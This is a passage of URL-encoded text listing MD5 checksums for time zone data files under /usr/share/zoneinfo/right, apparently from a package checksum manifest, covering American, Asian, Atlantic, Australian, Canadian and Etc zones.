o%2Fright%2FAmerica%2FMonterrey%0A151c95bbf9bdf33056310c3cd43d1138%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMontevideo%0A5706b1f3b6e354e1f7d80e275514f408%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMontserrat%0A74b2a60728ebec8b92a38b1b677ba254%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FNassau%0Acc08fde0e45652a527c06c4bbd2f4d67%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FNipigon%0A934c8723aa84491084569b27186993e3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FNome%0A66f6638534f87f801cec673f90535a12%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FPanama%0Aad0daeaf156329b6f7836e172c042b40%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FPangnirtung%0Af5dcdea39991929d09e47e1265402945%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FParamaribo%0A2fdb01b9eab9f62a8e3ec08072dc795e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FRio_Branco%0A978e99332e73344bb142392077e0b39d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FAdak%0A7aa9c4550f1d0acdbde61932a304f527%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FPort_of_Spain%0A298adc752638ea8d51fea4043b5df0c1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FPorto_Velho%0A26c453e7c5a49d0db60052b686328193%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FRainy_River%0A16abfa9b0946642ab534ff68f2c8604f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FRankin_Inlet%0Af1849f9dd024bd22f9396c3f5c4e4e1d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FRecife%0A57a2e57e3de33b406738fb93a38b220b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FRosario%0Aa4e9bb61f17192893afca20729990002%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FSanto_Domingo%0A91bda9f85d6eda6f94b439dd22522e4f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FScoresbysund%0Ae391d31a1584e1cdfb15d1d3f8ebf9ec%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FSt_Kitts%0Acddae678bd5f6083644deae264535e62%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FSt_Lucia%0Ade21b05e883290e65af0df5d42d282d0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FSt_Vincent%0A8d58cf5b903b4c3e11cdc73fa297e62d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FSwift_Current%0A03cfb54d79fbb5f39635bf9cf1081273%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FTegucigalpa%0A8cea024b2b82c9ad0adfefe782f7939e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FThule%0Aa8f0375dedf3ba62882d4df536f23df3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FThunder_Bay%0Af69f2d36b10fdab3beaa5d3e664a1549%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FTortola%0A3d7c28b339df90483dc2a336d7bbd3d8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FYakutat%0Ad9d6bec8faa8203db9f7c0e6669fd546%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FYellowknife%0A02980884f45087a01e23c96c9b897854%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FWinnipeg%0A5f1df8e0bc6805a59a2c3dfb74ffc10b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FWhitehorse%0A9eb6ab9645d4aa017f788b56f6a806cb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FVancouver%0Ae96a2f66323087970149086ce98f0940%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FVirgin%0A978e99332e73344bb142392077e0b39d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FAtka%0Ae96a2f66323087970149086ce98f0940%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FSt_Thomas%0Ae22224697d4e2798eabbc47ec714ef2c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FSt_Johns%0A289316122db23524ebd25986df6b67cf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FSao_Paulo%0A3f39979b414ee1a98741a2bbd6438bc5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FSantiago%0A047fbf41c66a3cc7dc4eaaf0d11c604d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FRegina%0A52e9dd5b85c69d9a63e1ef2271938e14%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FPuerto_Rico%0Ad21deed9db74eee4c0347ce69c58e753%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FIndianapolis%0A2fdb01b9eab9f62a8e3ec08072dc795e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FPorto_Acre%0Aa9096ab222b547c76449a95274865796%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FPhoenix%0A3ef4b901f98a06623948c55aa74fe121%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FNoronha%0Ade82533f27108cddd3adc6e92300ef47%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FNew_York%0A6e95e6ba3df487db362120cb9e209ddc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMontreal%0A93e26f492c056ddfcea03292495446bb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMexico_City%0A0aee73185d528396461b93b5aaf69522%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMazatlan%0A8c08e77882146dbeb9016f7830fc6005%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FManaus%0Ac0cb80ce326badcd0a984406eb11b7ef%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FLos_Angeles%0A62e8a0b15d5d46982a26c700c328dd68%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FLouisville%0A18509883ccc62cc26a8e8e3e39cae56d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FJamaica%0A8a49ad369d61586970608d44590b989a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FKnox_IN%0A4bccf6be5b7a43eeb153144fcb2408fe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FHavana%0Ac7d814c0e4be0fe241e669504d558269%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FHalifax%0Ad1d27521d5dc46ef58e00144f9dcb93a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FTijuana%0Ac1521baff2e0004252bb8bb9fc2ae209%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FEdmonton%0Ad21deed9db74eee4c0347ce69c58e753%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FFort_Wayne%0A92827308dade5713be4453024834e536%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FShiprock%0Ad1d27521d5dc46ef58e00144f9dcb93a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FEnsenada%0A74798e2a31fe3d957487d9a885870b32%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FDetroit%0A92827308dade5713be4453024834e536%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FDenver%0Ae767ab12af6837539c2bf2fde90235b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FChicago%0A0594b1a4f10bdbecfb0c6c0f6d37113f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FAnchorage%0Ab3f2e6947f4e7911233ac73e9b1b6e73%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAntarctica%2FDumontDUrville%0A7089a186334822d568b71ff3b471e461%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAntarctica%2FCasey%0A1fa4454f20d37dcae7d7e0f157acc424%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAntarctica%2FDavis%0A1ddf2198e1c37dcf28a72ac38db9b0c9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAntarctica%2FSouth_Pole%0A2b23b95fb22e2edea37640ca685ea0a2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAntarctica%2FMawson%0A204c66e88ef5103eddd2735da2d205e1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAntarctica%2FPalmer%0A438a67636386ae4afdd15c891b5528dc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAntarctica%2FSyowa%0Aad0fb41f27032ccb1c010a5806bd4e52%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAntarctica%2FVostok%0A1ddf2198e1c37dcf28a72ac38db9b0c9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAntarctica%2FMcMurdo%0A2b9922dda9c3ac0afe2624914c1664a4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FArctic%2FLongyearbyen%0Adcee8e36c4f93eea5adb956cb85b073f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FCalcutta%0A16cf9c339774d2ac025b73532bcac5f7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FAden%0Af40fb57eb08fa6c3bd267b5403938645%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FAlmaty%0A108a3a7f9bc92dd3bec152d8cbb3f347%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FAmman%0Ab6912c4d13cb1b1153852bee45763234%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FAnadyr%0A63343f8155ed9c093b188336a96360af%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FAqtau%0A240357167bc024c0ca3cabcdf398932e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FAqtobe%0A63e9449c5adfb5c7fd2aceaa46f6bd8a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FBaghdad%0A477528ffad46c15fe4c208c2255d243e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FBahrain%0Ae6bc7fcd1eb8ffdfe9b8f99f08ca5437%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FBaku%0A053d20dafa814f4a3b8379b199a4f621%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FBangkok%0Ab49e0f6aae64515178a7309faa487cec%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FBeirut%0A946dd3b8f4cce2daed5ed7189b98ab32%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FBishkek%0Ad76a8c76f75082090fbea13abaf245f0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FBrunei%0Ade71f454eee7738c247d8234712ed70f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FKuala_Lumpur%0Ae68280a7d251cf61d13f914b4a0fbd36%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FChungking%0A9308ae5217ecdc5af02c7d02e0982979%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FColombo%0A7669dd94cf5328e33b8fb5b55d77e8f9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FDamascus%0Aa7301acbc842477ffd1455299ee62b3b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FDili%0Ac43e98a4d413ba241e64cfa91e9e7d55%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FDubai%0Afe001f573721d97af1ccef5243b9aa36%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FDushanbe%0Ad45a644500600f278578348ef3a5a0f1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FGaza%0A66333f3d4782468022c5c7aeb40228bd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FHarbin%0A613616387820ecdb474490c402d0336b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FHovd%0Afa5e3b06f3b058cb0a4933b7de748d13%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FIrkutsk%0Ac692986d435e401340b63945c3390b0b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FJakarta%0A603c1cad8ea3f74ae07c68ee29be3377%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FJayapura%0A3b746e97fd0ac6b21b0895333bfa1eb2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FKabul%0Af249596917162f2159d1540120c65404%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FKamchatka%0A88e46fdd44000c0a7e5d9d13c6465a39%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FKarachi%0A5be118e0f889afe594d31a2e363513e6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FKashgar%0A4a813e6dc91394454b4ded2bde619e15%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FKatmandu%0Af25374d3b4a3f68591ec897b3b4e167c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FKrasnoyarsk%0Aa67fd39299351a8e5c3c972b8c8369f4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FNovosibirsk%0A76102255a8b14c1c33715e702ea2ca3d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FKuching%0Afa6c2c7156a9cd07fbab46144a4f51b9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FKuwait%0A928f8b48ce5ba3c0c6fb2792700cf989%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FMacao%0Ac3f778f06de7e4df9f387999fc357a3f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FMagadan%0Ad318e4e02b09ebe9b3440df9e66072d9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FManila%0A0732cf1170ae7bd3614ecc937e3a8a70%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FMuscat%0A3fbfa50ce7ebcffc71f2d7dd0dcb4130%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FPhnom_Penh%0A688eebe65890911a2682f3c811005648%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FOmsk%0Aedbecfaea6501f5c2c70ffdcdd8084be%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FUjung_Pandang%0Ae144d565bfdc1647d501ffc8b0c8a0dc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FPontianak%0Af6698276e4f5946babcda69700d89bf5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FPyongyang%0Ab542cc0d01603237bc0e564bb508cb90%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FQatar%0Aae84ef4ef9109a5cc5215a9d567509ad%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FRangoon%0Acbde8a81f9cea314c30f6372a0f39958%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FRiyadh%0Af0a2025e7b7e6db8e8aaff3415d16369%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FSaigon%0A7b8c16f3ee49ddcc4bcae9817d53b8aa%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FSamarkand%0Abf7f28a6b2d6ec0b7e1c6d9a38c9edfc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FTashkent%0A844944bc8dff8f455d01ba7576253414%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FTbilisi%0Acb3b3a936deca6f8f68de7cd2e0ff664%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FVientiane%0Addccc718422e0a3ea808911f476354cb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FUrumqi%0Acc30fdec910a0b71eede16447a0e0e14%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FYekaterinburg%0A1f66d46e9a9218a95c9e7ecafe250b76%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FVladivostok%0A5bde9250bc71bf6e4121aefcccd8c4f0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FYakutsk%0A2784b373b84eed89d68b565fa91eef8a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FUlaanbaatar%0Ae5d4e21a5213c737c2a391750b451c37%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FYerevan%0A387d29c7a33ce98af91e795255bac8d4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FTel_Aviv%0A2784b373b84eed89d68b565fa91eef8a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FUlan_Bator%0Ad5aa908c35b30e5e1abf2c6791d83d24%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FTokyo%0A03c23c28809a32516f4e8215fefceafe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FThimphu%0A03c23c28809a32516f4e8215fefceafe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FThimbu%0A35a060fd8b72597132c5b3a83cfcdfad%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FTehran%0A7adf24a71b7e4f9be73009c92e79c44c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FTaipei%0A0bb79c4d133b52fdde53fc7d1bf70f5f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FSingapore%0Ac44173adeac95918260138e6c0b93114%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FShanghai%0A4c9ed7cb67c5d621473d155e23f0610d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FSeoul%0A1faa10dab54ad1fe67c2b272c2de546d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FRiyadh89%0Ac1517f34fd872eb88a22b7c9c5495efc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FRiyadh88%0A897c804bd3efabe78a70f77c6a0579c1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FRiyadh87%0Af06ed288f09ade2465f9d58d61b0bdf8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FNicosia%0A387d29c7a33ce98af91e795255bac8d4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FJerusalem%0Aa929efa221c61b37f345ec82d3b47089%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FIstanbul%0Aafe5b0122290296c0831c074d6fe1956%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FHong_Kong%0Ad8d4e3ae287e99788046a91757cc330a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FDhaka%0Ad8d4e3ae287e99788046a91757cc330a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FDacca%0Acf15098ef9b49474ea78f05d6455bb1e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FAshkhabad%0Acf15098ef9b49474ea78f05d6455bb1e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAsia%2FAshgabat%0A8816c6017fcb2f7a232786899656c483%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FCape_Verde%0A1342a52b188a3d2ad585d0f02b9c2847%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FAzores%0A3324b22d4f446020b53a1b073c443164%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FBermuda%0A08cff802d2fe3c43990392649c914854%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FCanary%0Adbdc8c5b6c315f34bfd3125415cc6421%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FSouth_Georgia%0Aeec04250ee526b0c52682b8d5b0a888b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FFaeroe%0Ab8825036aabce76f6b3aadf4ab62cb6f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FMadeira%0A0a26c5cb634034b1db03b6765462d385%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FSt_Helena%0Acff78d6b692995c1f333205711de404b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FStanley%0A2d88feca7be42d8cc922851e5a05e295%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FReykjavik%0A2b9922dda9c3ac0afe2624914c1664a4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAtlantic%2FJan_Mayen%0A5d109cf8cdf31735fbf1f86b23d803d5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FLindeman%0Ac4ec1bffc37de7f16f0e36443afb9247%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FWest%0A41bd7266a5708d199bf42a729a077639%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FLHI%0Ac4ec1bffc37de7f16f0e36443afb9247%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FPerth%0A632f5be91824ec18c2a287438f19610f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FVictoria%0Acb183c0fb4c77728ac04d9e18e408186%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FACT%0A632f5be91824ec18c2a287438f19610f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FMelbourne%0A41bd7266a5708d199bf42a729a077639%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FLord_Howe%0Ab32924c0d9b694c329c8b3a14a4a0813%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FTasmania%0Ab32924c0d9b694c329c8b3a14a4a0813%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FHobart%0Ada5d3f5967e4373389fdda62f00beae7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FNorth%0Ada5d3f5967e4373389fdda62f00beae7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FDarwin%0A35f53c5824baa6b41c0f73d5c8dc625c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FYancowinna%0A35f53c5824baa6b41c0f73d5c8dc625c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FBroken_Hill%0A88c0e31adf2e860b6a6d39c0fa5f7f09%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FQueensland%0A88c0e31adf2e860b6a6d39c0fa5f7f09%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FBrisbane%0A961d01ddc944de36e8220f25bc36dd10%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FSouth%0Acb183c0fb4c77728ac04d9e18e408186%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FNSW%0A961d01ddc944de36e8220f25bc36dd10%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FAdelaide%0Acb183c0fb4c77728ac04d9e18e408186%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FCanberra%0Acb183c0fb4c77728ac04d9e18e408186%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAustralia%2FSydney%0A3ef4b901f98a06623948c55aa74fe121%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FBrazil%2FDeNoronha%0A289316122db23524ebd25986df6b67cf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FBrazil%2FEast%0A2fdb01b9eab9f62a8e3ec08072dc795e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FBrazil%2FAcre%0A8c08e77882146dbeb9016f7830fc6005%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FBrazil%2FWest%0Ae22224697d4e2798eabbc47ec714ef2c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCanada%2FNewfoundland%0A02980884f45087a01e23c96c9b897854%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCanada%2FCentral%0A5f1df8e0bc6805a59a2c3dfb74ffc10b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCanada%2FYukon%0A9eb6ab9645d4aa017f788b56f6a806cb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCanada%2FPacific%0A047fbf41c66a3cc7dc4eaaf0d11c604d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCanada%2FSaskatchewan%0Ac7d814c0e4be0fe241e669504d558269%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCanada%2FAtlantic%0A6e95e6ba3df487db362120cb9e209ddc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCanada%2FEastern%0A047fbf41c66a3cc7dc4eaaf0d11c604d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCanada%2FEast-Saskatchewan%0Ac1521baff2e0004252bb8bb9fc2ae209%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCanada%2FMountain%0A215fd20b7e21fa6e053bf83a0b0c6753%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCET%0Af3f380cbc672e29d94d4205c71a56d36%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FChile%2FEasterIsland%0A3f39979b414ee1a98741a2bbd6438bc5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FChile%2FContinental%0Ad231c675c4f9c02a5ca7379660b0cc65%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FUniversal%0A9a4cb968626288a9bdbe77d88d438952%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B1%0Adb91d1fbcf0c990b738c2a986ea4d2e5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B10%0A5dc4790fbc7ff12a75fb32b24b9e19df%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B11%0A9b179e02013d43a23be0fb931e7bff40%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B12%0A0e6e9a0bcd391792f1cf9f30976c6e67%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B2%0A0880f31b6ca34636df96999297701c81%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B3%0Aeb83d0c88806c50129cc387b7d24515e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B4%0A4116405296b250576cfe08e7c7e47cf6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B5%0Accedb53aa318c633824a3d8b68ffecd8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B6%0Ab68f4752361fb584bd8a010a9c7357ee%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B7%0A180e13b7ae2a8297807e20e814c437c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B8%0A3a268ea576d9168673d350181ba4defb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B9%0A7a7e86e33d004917239bf4277d710cdd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-1%0A2b2bd9586420062c6d2b8b4d5d5e164f%